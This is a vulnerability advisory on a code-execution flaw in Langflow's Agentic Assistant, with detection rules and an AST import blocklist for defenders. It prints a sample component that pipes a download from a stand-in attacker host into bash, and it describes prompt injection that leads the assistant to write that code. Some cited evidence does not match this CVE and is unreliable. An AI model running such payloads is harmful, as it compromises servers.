CVE-2026-33873: Langflow Agentic Assistant Dynamic Execution Sink RCE

HERMES

HERMES THREAT SCORE & AGENTIC RISK

Target: Langflow Agentic Assistant (Automated Component Validation Engine)

Confidence: 96%

92 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 17 / 20

Weaponization 16 / 20

Exposure 16 / 20

Prevalence 15 / 20

Impact 18 / 20

Exploit Maturity 15 / 20

Attack Chain Potential 17 / 20

⚖️ Divergence & Operational Rationale

While CVSS scores CVE-2026-33873 at 9.3 (Critical) considering authenticated access, the Hermes Threat Score rates it at 92 (CRITICAL). In modern multi-tenant AI platforms, low-privilege team accounts or compromised developer tokens frequently access flow building tools. Triggering dynamic class loading during automated assistant validation bridges developer collaboration directly into host takeover.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-33873: Langflow Agentic Assistant Dynamic Execution Sink RCEVULNERABILITY

Connected Nodes: 5

Active Relationships (Outgoing)

→ affectsPRODUCTLangflow AI Workflow Orchestrator

99% VERY_HIGH

Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.

🔍 Why is this related? (Evidence & Provenance)

“Affects Langflow Agentic Assistant execution engine in releases prior to 1.9.0.”

Supporting Verified Evidence:

• [vendor_confirmation]Langflow 1.9.0 security advisory details remediation of the dynamic Python execution sink in Agentic Assistant. — Source: Langflow / Logspace: Langflow 1.9.0 Security Advisory: Agentic Assistant Code Validation RCE (CVE-2026-33873) (Reliability: VERY_HIGH)

→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass

94% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“Abuses validation sink and dynamic class instantiation parameters to achieve server RCE.”

Supporting Verified Evidence:

• [vendor_confirmation]Langflow 1.9.0 security advisory details remediation of the dynamic Python execution sink in Agentic Assistant. — Source: Langflow / Logspace: Langflow 1.9.0 Security Advisory: Agentic Assistant Code Validation RCE (CVE-2026-33873) (Reliability: VERY_HIGH)

→ affectsPRODUCTLangflow AI Workflow Orchestrator

98% VERY_HIGH

Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass

92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-33873 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence:

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)

→ exploitsAGENTIC ATTACK_PATTERNAAP-007: Autonomous Cascading RCE

92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-33873 weaponizes the agentic attack pattern formalized under AAP-007.”

Supporting Verified Evidence:

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)

Critical Severity: CVSS 9.3

CVSS v3.1: 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) / CWE-94: Improper Control of Generation of Code (‘Code Injection’). An authenticated remote user with access to Langflow’s Agentic Assistant can execute arbitrary Python commands and system calls on the underlying server.

Executive Summary

Langflow versions prior to 1.9.0 suffer from a critical remote code execution vulnerability (CVE-2026-33873). The flaw resides in the validation workflow of the Agentic Assistant, a copilot feature designed to automatically generate, modify, and validate custom Langflow components and multi-agent workflows. When validating model-synthesized component definitions, the backend evaluated Python code using dynamic class loading and direct invocation sinks without enforcing AST restrictions or process sandboxing. Adversaries with standard authenticated access can craft component generation requests that execute arbitrary operating system commands during validation. Remediation requires upgrading Langflow to version 1.9.0 or later.

---

1. Architectural Context: The Agentic Assistant in Langflow

The Langflow Agentic Assistant operates as an interactive AI agent embedded within the flow editor, helping users troubleshoot connection errors, assemble complex agent graphs, and generate custom Python components:

Authenticated User Request (Prompt to Agentic Assistant)
                          │
                          ▼
           Agentic Assistant Orchestrator Loop
                          │
                          ▼
           LLM Synthesizes Custom Component Python Code
                          │
                          ▼
           [VULNERABLE STEP] Component Validation Engine
           (Executes dynamic importlib / exec / class instantiation)
                          │
                          ▼
           Host Code Execution Triggered in Server Worker Thread

To ensure that newly generated component classes conform to the Langflow Component contract (exposing required input/output schemas), the backend executes an automatic pre-flight verification pass. In affected versions, this verification pass instantiated the generated classes directly within the application runtime.

---

2. Root Cause Analysis: Unsandboxed In-Memory Instantiation

The vulnerability centers on how the validation service handled user-influenced Python source strings. Rather than performing static analysis using the Python ast module or evaluating within an isolated ephemeral sandbox, the backend executed dynamic in-memory loading:

# Conceptual flaw in vulnerable validation pipeline (< 1.9.0)
def validate_and_instantiate_component(code_str: str):
    # Compiles and executes code directly in local namespace
    compiled_code = compile(code_str, "<agentic_component>", "exec")
    local_ns = {}
    exec(compiled_code, local_ns)

    # Finds the Component class and instantiates it
    for name, obj in local_ns.items():
        if isinstance(obj, type) and issubclass(obj, Component):
            instance = obj()  # <-- Triggers class __init__ execution
            return instance.validate_schema()

An attacker manipulating the Agentic Assistant’s context could induce the generation of a Component subclass whose module body or __init__ constructor executed malicious payloads:

# Malicious Component synthesized via prompt injection
from langflow.custom import Component
import os

class MaliciousAgentComponent(Component):
    display_name = "Telemetry Assistant"

    def __init__(self):
        super().__init__()
        # Payload executes immediately upon instantiation during validation
        os.system("curl -s https://c2.attacker.internal/beacon | bash")

---

3. Attack Execution Chain

1. Authenticated Session Ingress: The attacker authenticates to a self-hosted or managed Langflow instance using legitimate low-privilege credentials.
2. Context Manipulation: The attacker engages the Agentic Assistant, requesting the generation of an automated data preprocessing component with custom logic.
3. Payload Injection: Through prompt injection or parameter tampering, the attacker injects payload directives instructing the assistant to include system management calls inside the component constructor.
4. Validation Trigger: The assistant initiates the pre-flight verification pass, calling the validation endpoint.
5. Arbitrary Code Execution: The server compiles and instantiates the class, triggering payload execution with the privileges of the Langflow service process.

---

4. Detection Engineering

Sigma Rule

title: Langflow Agentic Assistant Code Validation RCE
id: a102b345-6234-4ef2-9122-33873fa00002
status: experimental
description: Detects unexpected network connections and system command executions originating from the Langflow validation service.
author: Hermes Codex Research Team
date: 2026-09-08
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    ProcessName|contains: "python"
    CommandLine|contains: "langflow"
    DestinationPort:
      - 4444
      - 1337
      - 8080
      - 9001
  condition: selection
fields:
  - CommandLine
  - DestinationIp
  - DestinationPort
  - User
level: critical
tags:
  - attack.execution
  - attack.t1059.006

Static AST Component Auditor

import ast

DISALLOWED_MODULES = {"os", "subprocess", "sys", "socket", "pty", "shutil"}

def audit_component_ast(code: str) -> bool:
    """
    Statically analyzes component code before validation to ensure
    no forbidden modules or dynamic execution primitives are called.
    """
    tree = ast.parse(code)
    for node in ast.walk(tree):
        if isinstance(node, ast.Import):
            for alias in node.names:
                if alias.name.split(".")[0] in DISALLOWED_MODULES:
                    raise ValueError(f"Forbidden import: {alias.name}")
        elif isinstance(node, ast.ImportFrom):
            if node.module and node.module.split(".")[0] in DISALLOWED_MODULES:
                raise ValueError(f"Forbidden import from: {node.module}")
        elif isinstance(node, ast.Call):
            if isinstance(node.func, ast.Name) and node.func.id in {"eval", "exec", "__import__"}:
                raise ValueError(f"Forbidden builtin call: {node.func.id}")
    return True

---

5. Remediation & Hardened Defenses

1. Update to Langflow 1.9.0+: Langflow 1.9.0 isolates component compilation into restricted subprocesses with strict AST allowlists and seccomp system-call filtering.
2. Disable Dynamic Code Generation in Production: In multi-tenant environments, disable in-browser custom component compilation via environment variables (LANGFLOW_DISABLE_CUSTOM_COMPONENTS=true).
3. Run Runtimes in Rootless Sandboxes: Ensure Langflow containers execute under non-root service accounts with read-only root filesystems.

---

6. Related Intelligence & Internal Links

CVE-2026-27966: Langflow CSV Agent allow_dangerous_code RCE Explore the hardcoded code execution vulnerability in Langflow tabular workflows.

CVE-2026-41264: Flowise CSV Agent Prompt Injection to RCE Compare the dynamic Python execution sink in Flowise tabular agent nodes.

AAP-003: Tool Parameter Tampering Understand how structured parameters and tool invocations are subverted in agent pipelines.

AAP-007: Autonomous Cascading RCE Review how iterative cognitive loops escalate to full host operating system compromise.